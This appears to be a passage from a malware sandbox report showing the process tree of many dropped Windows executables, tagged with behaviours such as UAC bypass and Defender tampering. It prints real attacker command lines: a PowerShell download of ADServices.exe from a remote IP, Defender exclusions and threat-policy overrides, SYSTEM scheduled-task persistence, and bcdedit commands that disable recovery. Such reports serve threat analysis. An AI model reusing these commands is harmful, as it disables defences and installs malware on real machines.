        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
        7⤵
        
        PID:5984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
        7⤵
        
        PID:5300
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4968 /prefetch:1
        7⤵
        
        PID:5380
      - C:\Windows\SysWOW64\tar.exe
        
        tar -xf putty.zip
        6⤵
        
        PID:5800
      - C:\Users\Admin\AppData\Local\Temp\putty\putty.exe
        
        C:\Users\Admin\AppData\Local\Temp\putty\putty.exe
        6⤵
        Executes dropped EXE
        
        PID:3240
  - - C:\Users\Admin\Desktop\a\ADServices.exe
      "C:\Users\Admin\Desktop\a\ADServices.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:5816
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        
        PID:1320
  - - C:\Users\Admin\Desktop\a\New.exe
      "C:\Users\Admin\Desktop\a\New.exe"
      4⤵
      UAC bypass
      Windows security bypass
      Checks computer location settings
      Executes dropped EXE
      Windows security modification
      Checks whether UAC is enabled
      Suspicious use of SetThreadContext
      System policy modification
      PID:5424
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\New.exe" -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4852
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1792
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        5⤵
        
        PID:5288
  - - C:\Users\Admin\Desktop\a\360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
      "C:\Users\Admin\Desktop\a\360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Writes to the Master Boot Record (MBR)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5908
  - - C:\Users\Admin\Desktop\a\GTA_V.exe
      "C:\Users\Admin\Desktop\a\GTA_V.exe"
      4⤵
      Executes dropped EXE
      PID:4012
    - - C:\Users\Admin\AppData\Local\Temp\is-VJ7S3.tmp\GTA_V.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VJ7S3.tmp\GTA_V.tmp" /SL5="$130258,18247052,1148416,C:\Users\Admin\Desktop\a\GTA_V.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:5168
      - C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe" x C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\libs.7z -pqwerty0987 -oC:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3584
      - C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe" x C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\IJUP069TW.7z -pqwerty0987 -oC:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6540
      - C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\7z.exe" x C:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\KKUS33HVT.7z -pqwerty0987 -oC:\Users\Admin\AppData\Local\Temp\is-E9NT7.tmp\4A6CA328-7888-3279-B672-D1D9D0A46EE2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2556
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 960
        6⤵
        Program crash
        
        PID:5832
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 1596
        6⤵
        Program crash
        
        PID:6808
  - - C:\Users\Admin\Desktop\a\CapSimple.exe
      "C:\Users\Admin\Desktop\a\CapSimple.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5596
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1836
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        Drops file in System32 directory
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:6152
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV2663_0cc175b9c0f1b6a831c399e269772661\MSIUpdaterV2663.exe" /tn "MSIUpdaterV2663_0cc175b9c0f1b6a831c399e269772661 HR" /sc HOURLY /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:5600
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV2663_0cc175b9c0f1b6a831c399e269772661\MSIUpdaterV2663.exe" /tn "MSIUpdaterV2663_0cc175b9c0f1b6a831c399e269772661 LG" /sc ONLOGON /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:3760
      - C:\Users\Admin\AppData\Local\Temp\spanIHEAubj07gZf\auehhQxGFTG53UPDyJn4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spanIHEAubj07gZf\auehhQxGFTG53UPDyJn4.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:8340
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:8564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:8628
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        8⤵
        
        PID:7316
  - - C:\Users\Admin\Desktop\a\RambledMimets.exe
      "C:\Users\Admin\Desktop\a\RambledMimets.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:2832
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Modifies Windows Defender Real-time Protection settings
        Drops startup file
        Loads dropped DLL
        Windows security modification
        Adds Run key to start application
        
        PID:5960
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Get-MpPreference -verbose
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5204
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
        6⤵
        
        PID:2832
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:4516
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
        6⤵
        
        PID:4772
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:2628
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 3168
        6⤵
        Program crash
        
        PID:4528
  - - C:\Users\Admin\Desktop\a\ld.exe
      "C:\Users\Admin\Desktop\a\ld.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Enumerates connected drives
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: RenamesItself
      System policy modification
      PID:5180
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:5384
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {current} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6140
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
        5⤵
        
        PID:764
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {current} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6224
  - - C:\Users\Admin\Desktop\a\MSiedge.exe
      "C:\Users\Admin\Desktop\a\MSiedge.exe"
      4⤵
      Executes dropped EXE
      PID:4348
  - - C:\Users\Admin\Desktop\a\victor.exe
      "C:\Users\Admin\Desktop\a\victor.exe"
      4⤵
      Executes dropped EXE
      PID:5060
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5060 -s 232
        5⤵
        Program crash
        
        PID:6500
  - - C:\Users\Admin\Desktop\a\RambledMime.exe
      "C:\Users\Admin\Desktop\a\RambledMime.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5528
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Suspicious use of SetThreadContext
        
        PID:6060
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        6⤵
        
        PID:6292
  - - C:\Users\Admin\Desktop\a\current.exe
      "C:\Users\Admin\Desktop\a\current.exe"
      4⤵
      Executes dropped EXE
      PID:7420
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7420 -s 684
        5⤵
        Program crash
        
        PID:8468
  - - C:\Users\Admin\Desktop\a\host_so.exe
      "C:\Users\Admin\Desktop\a\host_so.exe"
      4⤵
      Executes dropped EXE
      PID:7356
  - - C:\Users\Admin\Desktop\a\mixinte.exe
      "C:\Users\Admin\Desktop\a\mixinte.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:6984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "mixinte.exe" /f & erase "C:\Users\Admin\Desktop\a\mixinte.exe" & exit
        5⤵
        
        PID:7060
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "mixinte.exe" /f
        6⤵
        Kills process with taskkill
        
        PID:5772
  - - C:\Users\Admin\Desktop\a\inte.exe
      "C:\Users\Admin\Desktop\a\inte.exe"
      4⤵
      Executes dropped EXE
      PID:6608
  - - C:\Users\Admin\Desktop\a\winlogon.exe
      "C:\Users\Admin\Desktop\a\winlogon.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:6148
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command " WindowStyle -Hidden Add-MpPreference -ExclusionPath 'C:\' -Force [Net.ServicePointManager]::SecurityProtocol = 'Tls, Tls11, Tls12, Ssl3' $DownloadUrl = 'http://49.13.194.118/ADServices.exe' $WebResponse = Invoke-WebRequest -Uri $DownloadUrl -Method Head Write-Output 'Downloading $DownloadUrl' Start-BitsTransfer -Source $WebResponse.BaseResponse.ResponseUri.AbsoluteUri.Replace('%20', ' ') -Destination 'C:\\Windows\\Temp\\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3092
  - - C:\Users\Admin\Desktop\a\setup.exe
      "C:\Users\Admin\Desktop\a\setup.exe"
      4⤵
      Executes dropped EXE
      PID:5424
    - - C:\Users\Admin\AppData\Local\Temp\7zS59CA.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:2496
      - C:\Users\Admin\AppData\Local\Temp\7zS65EF.tmp\Install.exe
        
        .\Install.exe /yrVdidRYRgn "385118" /S
        6⤵
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:6732
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:6896
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        8⤵
        
        PID:5596
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:2816
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:7240
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        8⤵
        
        PID:4968
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        8⤵
        
        PID:5552
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:6392
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:784
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        8⤵
        
        PID:5336
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:5644
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:3120
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:7332
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:6208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4696
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        11⤵
        
        PID:5320
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:6328
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:7008
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 16:39:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS65EF.tmp\Install.exe\" PP /XafdidFSQl 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:5884
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
        7⤵
        
        PID:8532
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
        8⤵
        
        PID:3120
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn btZaCbGShXZoJDfvCg
        9⤵
        
        PID:8236
  - - C:\Users\Admin\Desktop\a\file300un.exe
      "C:\Users\Admin\Desktop\a\file300un.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:8072
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        5⤵
        Drops startup file
        
        PID:6236
      - C:\Users\Admin\Pictures\WeQEAW3kaoXuMbb80vOzIlmY.exe
        
        "C:\Users\Admin\Pictures\WeQEAW3kaoXuMbb80vOzIlmY.exe"
        6⤵
        UAC bypass
        Windows security bypass
        Checks computer location settings
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        System policy modification
        
        PID:8476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\WeQEAW3kaoXuMbb80vOzIlmY.exe" -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8856
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        7⤵
        
        PID:6296
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        7⤵
        
        PID:7560
      - C:\Users\Admin\Pictures\n5iRSINSSBZXYf0VMxnR1Gr6.exe
        
        "C:\Users\Admin\Pictures\n5iRSINSSBZXYf0VMxnR1Gr6.exe" /s
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4636
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4636 -s 2316
        7⤵
        Program crash
        
        PID:2228
      - C:\Users\Admin\Pictures\U3mkXHCrBXb11u2lOpF29ovV.exe
        
        "C:\Users\Admin\Pictures\U3mkXHCrBXb11u2lOpF29ovV.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6720
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k copy Albany Albany.cmd & Albany.cmd & exit
        7⤵
        
        PID:2076
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:364
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        8⤵
        
        PID:2160
      - C:\Users\Admin\Pictures\e9S91KcST5WAe1cLxGRnN3WO.exe
        
        "C:\Users\Admin\Pictures\e9S91KcST5WAe1cLxGRnN3WO.exe"
        6⤵
        Modifies firewall policy service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Drops file in System32 directory
        
        PID:6468
        
        C:\Users\Admin\Documents\SimpleAdobe\uHNbZJI4JxwnevGgsCYWaO_A.exe
        
        C:\Users\Admin\Documents\SimpleAdobe\uHNbZJI4JxwnevGgsCYWaO_A.exe
        7⤵
        
        PID:3840
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        8⤵
        
        PID:5652
      - C:\Users\Admin\Pictures\RTyv5hQ34rQUelr1Ahzlcifr.exe
        
        "C:\Users\Admin\Pictures\RTyv5hQ34rQUelr1Ahzlcifr.exe"
        6⤵
        Executes dropped EXE
        
        PID:9048
        
        C:\Users\Admin\AppData\Local\Temp\7zSC3AF.tmp\Install.exe
        
        .\Install.exe
        7⤵
        Executes dropped EXE
        
        PID:6364
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        5⤵
        
        PID:7388
  - - C:\Users\Admin\Desktop\a\buildjudit.exe
      "C:\Users\Admin\Desktop\a\buildjudit.exe"
      4⤵
      Executes dropped EXE
      PID:3156
    - - C:\Users\Admin\AppData\Local\Temp\onefile_3156_133617334690853413\stub.exe
        
        "C:\Users\Admin\Desktop\a\buildjudit.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:7156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:6888
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:8944
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:3468
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        6⤵
        
        PID:7276
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:9204
  - - C:\Users\Admin\Desktop\a\lumma1234.exe
      "C:\Users\Admin\Desktop\a\lumma1234.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:5036
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:6780
  - - C:\Users\Admin\Desktop\a\go.exe
      "C:\Users\Admin\Desktop\a\go.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:6908
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/account
        5⤵
        
        PID:6884
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
        6⤵
        
        PID:8204
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2244 /prefetch:2
        6⤵
        
        PID:9024
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3
        6⤵
        
        PID:5328
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2904 /prefetch:8
        6⤵
        
        PID:7548
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3668 /prefetch:1
        6⤵
        
        PID:932
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2184,11898698046120973265,4967366158220157042,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3676 /prefetch:1
        6⤵
        
        PID:8292
